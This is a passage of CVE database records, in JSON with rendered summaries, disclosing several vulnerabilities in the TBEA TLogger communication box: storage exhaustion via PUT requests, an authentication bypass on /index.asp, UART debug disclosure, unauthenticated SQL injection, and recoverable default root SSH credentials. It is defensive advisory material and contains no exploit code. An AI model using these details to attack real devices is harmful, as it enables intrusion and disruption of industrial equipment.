"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:38:57.641Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Multiple Unauthenticated Denial-of-Service Conditions",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-15683",
"datePublished": "2026-08-10T19:38:57.641Z",
"dateReserved": "2026-08-04T11:34:49.423Z",
"dateUpdated": "2026-08-12T18:17:21.333Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-15682 (GCVE-0-2025-15682)
Vulnerability from cvelistv5 – Published: 2026-08-10 19:33 – Updated: 2026-08-12 18:15
VLAI
EPSS
VEX
Title
Unauthenticated Resource Exhaustion
Summary
TBEA TLogger V2.1.0.0B0.0.0.0 contains an unauthenticated resource exhaustion vulnerability in its web server. An unauthenticated remote attacker can send PUT requests to the /tmp/ endpoint, causing the web server to create persistent files containing attacker-controlled data under /opt/myapp/webserver/. The generated files are not removed because the web server attempts to move them into a non-existent directory. Repeated requests can therefore exhaust available storage and cause a denial-of-service condition.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:14 UTC
CWE
- CWE-770 - Allocation of resources without limits or throttling
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-15682",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:14:58.027154Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:15:27.613Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains an unauthenticated resource exhaustion vulnerability in its web server. An unauthenticated remote attacker can send PUT requests to the \u003ccode\u003e/tmp/\u003c/code\u003e endpoint, causing the web server to create persistent files containing attacker-controlled data under \u003ccode\u003e/opt/myapp/webserver/\u003c/code\u003e. The generated files are not removed because the web server attempts to move them into a non-existent directory. Repeated requests can therefore exhaust available storage and cause a denial-of-service condition."
}
],
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains an unauthenticated resource exhaustion vulnerability in its web server. An unauthenticated remote attacker can send PUT requests to the /tmp/ endpoint, causing the web server to create persistent files containing attacker-controlled data under /opt/myapp/webserver/. The generated files are not removed because the web server attempts to move them into a non-existent directory. Repeated requests can therefore exhaust available storage and cause a denial-of-service condition."
}
],
"impacts": [
{
"capecId": "CAPEC-130",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-130 Excessive Allocation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 8.7,
"baseSeverity": "HIGH",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-770",
"description": "CWE-770 Allocation of resources without limits or throttling",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:33:23.989Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Unauthenticated Resource Exhaustion",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-15682",
"datePublished": "2026-08-10T19:33:23.989Z",
"dateReserved": "2026-08-04T11:34:48.629Z",
"dateUpdated": "2026-08-12T18:15:27.613Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-15681 (GCVE-0-2025-15681)
Vulnerability from cvelistv5 – Published: 2026-08-10 19:31 – Updated: 2026-08-12 18:13
VLAI
EPSS
VEX
Title
Insufficient Webserver Authentication
Summary
TBEA TLogger V2.1.0.0B0.0.0.0 contains an authentication bypass in its web server. After a user has previously authenticated to the device, an unauthenticated attacker can directly access protected functionality through the /index.asp endpoint without providing valid credentials. This allows the attacker to access functionality intended for authenticated users and may expose or modify device configuration and data. Logging out from the bypassed state can additionally cause the web server to crash.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:10 UTC
CWE
- CWE-306 - Missing authentication for critical function
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-15681",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:10:51.494985Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:13:49.621Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains an authentication bypass in its web server. After a user has previously authenticated to the device, an unauthenticated attacker can directly access protected functionality through the \u003ccode\u003e/index.asp\u003c/code\u003e endpoint without providing valid credentials. This allows the attacker to access functionality intended for authenticated users and may expose or modify device configuration and data. Logging out from the bypassed state can additionally cause the web server to crash."
}
],
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 contains an authentication bypass in its web server. After a user has previously authenticated to the device, an unauthenticated attacker can directly access protected functionality through the /index.asp endpoint without providing valid credentials. This allows the attacker to access functionality intended for authenticated users and may expose or modify device configuration and data. Logging out from the bypassed state can additionally cause the web server to crash."
}
],
"impacts": [
{
"capecId": "CAPEC-115",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-115 Authentication Bypass"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 9.2,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-306",
"description": "CWE-306 Missing authentication for critical function",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:31:05.467Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Insufficient Webserver Authentication",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-15681",
"datePublished": "2026-08-10T19:31:05.467Z",
"dateReserved": "2026-08-04T11:34:47.562Z",
"dateUpdated": "2026-08-12T18:13:49.621Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-15680 (GCVE-0-2025-15680)
Vulnerability from cvelistv5 – Published: 2026-08-10 19:27 – Updated: 2026-08-12 18:10
VLAI
EPSS
VEX
Title
Information Disclosure via UART
Summary
TBEA TLogger V2.1.0.0B0.0.0.0 exposes a UART interface on the device's circuit board without sufficient protection. A physically proximate attacker can connect to the UART interface and observe the device boot process and runtime debug output. The disclosed information includes operating system details, software versions, network configuration, filesystem paths, and other implementation and debugging information that may assist an attacker in further compromising the device.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:10 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-15680",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:10:23.103102Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:10:34.505Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 exposes a UART interface on the device\u0027s circuit board without sufficient protection. A physically proximate attacker can connect to the UART interface and observe the device boot process and runtime debug output. The disclosed information includes operating system details, software versions, network configuration, filesystem paths, and other implementation and debugging information that may assist an attacker in further compromising the device."
}
],
"value": "TBEA TLogger V2.1.0.0B0.0.0.0 exposes a UART interface on the device\u0027s circuit board without sufficient protection. A physically proximate attacker can connect to the UART interface and observe the device boot process and runtime debug output. The disclosed information includes operating system details, software versions, network configuration, filesystem paths, and other implementation and debugging information that may assist an attacker in further compromising the device."
}
],
"impacts": [
{
"capecId": "CAPEC-169",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-169 Footprinting"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "PHYSICAL",
"baseScore": 2.4,
"baseSeverity": "LOW",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-497",
"description": "CWE-497",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:27:28.958Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Information Disclosure via UART",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-15680",
"datePublished": "2026-08-10T19:27:28.958Z",
"dateReserved": "2026-08-04T11:34:46.057Z",
"dateUpdated": "2026-08-12T18:10:34.505Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-13294 (GCVE-0-2025-13294)
Vulnerability from cvelistv5 – Published: 2026-08-10 19:25 – Updated: 2026-08-12 18:09
VLAI
EPSS
VEX
Title
Unauthenticated SQL Injection
Summary
An unauthenticated SQL injection vulnerability exists in the web server of TBEA TLogger V2.1.0.0B0.0.0.0. Multiple HTTP endpoints incorporate attacker-controlled parameters directly into SQLite queries without sufficient validation or parameterization. A remote unauthenticated attacker can exploit these endpoints to read, modify, or delete data stored in the device's CCU.db database.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:07 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-13294",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:07:15.328038Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:09:40.873Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "An unauthenticated SQL injection vulnerability exists in the web server of TBEA TLogger V2.1.0.0B0.0.0.0. Multiple HTTP endpoints incorporate attacker-controlled parameters directly into SQLite queries without sufficient validation or parameterization. A remote unauthenticated attacker can exploit these endpoints to read, modify, or delete data stored in the device\u0027s \u003ccode\u003eCCU.db\u003c/code\u003e database."
}
],
"value": "An unauthenticated SQL injection vulnerability exists in the web server of TBEA TLogger V2.1.0.0B0.0.0.0. Multiple HTTP endpoints incorporate attacker-controlled parameters directly into SQLite queries without sufficient validation or parameterization. A remote unauthenticated attacker can exploit these endpoints to read, modify, or delete data stored in the device\u0027s CCU.db database."
}
],
"impacts": [
{
"capecId": "CAPEC-66",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-66 SQL Injection"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-89",
"description": "CWE-89",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:25:32.123Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Unauthenticated SQL Injection",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-13294",
"datePublished": "2026-08-10T19:25:32.123Z",
"dateReserved": "2025-11-17T11:17:18.796Z",
"dateUpdated": "2026-08-12T18:09:40.873Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2025-13293 (GCVE-0-2025-13293)
Vulnerability from cvelistv5 – Published: 2026-08-10 19:24 – Updated: 2026-08-12 18:06
VLAI
EPSS
VEX
Title
Backdoor / default root credentials
Summary
A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticate to the SSH service. Successful exploitation provides full administrative control of the affected device.
Severity
SSVC
Exploitation: none
Automatable: yes
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-08-12 18:05 UTC
CWE
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://en.tbea.com/about.html |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| TBEA | TBEA TLogger (TBEA Communication Box 3rd Generation) |
Affected:
0 , ≤ V2.1.0.0B0.0.0.0
(custom)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-13293",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-12T18:05:40.823114Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-12T18:06:27.824Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "TBEA TLogger (TBEA Communication Box 3rd Generation)",
"vendor": "TBEA",
"versions": [
{
"lessThanOrEqual": "V2.1.0.0B0.0.0.0",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "S. Eisenreich-Dietz (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "T. Weber (CyberDanube)"
},
{
"lang": "en",
"type": "finder",
"value": "F. Koroknai"
},
{
"lang": "en",
"type": "finder",
"value": "D. Blagojevic"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in \u003ccode\u003e/etc/shadow\u003c/code\u003e and used to authenticate to the SSH service. Successful exploitation provides full administrative control of the affected device."
}
],
"value": "A hard-coded or default root account credential in TBEA TLogger V2.1.0.0B0.0.0.0 allows an unauthenticated remote attacker to obtain root-level access to the device via the exposed SSH service. The root password can be recovered from the password hash stored in /etc/shadow and used to authenticate to the SSH service. Successful exploitation provides full administrative control of the affected device."
}
],
"impacts": [
{
"capecId": "CAPEC-70",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-70 Try Common or Default Usernames and Passwords"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"baseScore": 9.3,
"baseSeverity": "CRITICAL",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "HIGH",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-798",
"description": "CWE-798",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-10T19:24:10.104Z",
"orgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"shortName": "CyberDanube"
},
"references": [
{
"url": "https://en.tbea.com/about.html"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Backdoor / default root credentials",
"x_generator": {
"engine": "Vulnogram 1.0.4"
}
}
},
"cveMetadata": {
"assignerOrgId": "7d092a75-6bbd-48c6-a15a-0297458009bc",
"assignerShortName": "CyberDanube",
"cveId": "CVE-2025-13293",
"datePublished": "2026-08-10T19:24:10.104Z",
"dateReserved": "2025-11-17T11:17:17.483Z",
"dateUpdated": "2026-08-12T18:06:27.824Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}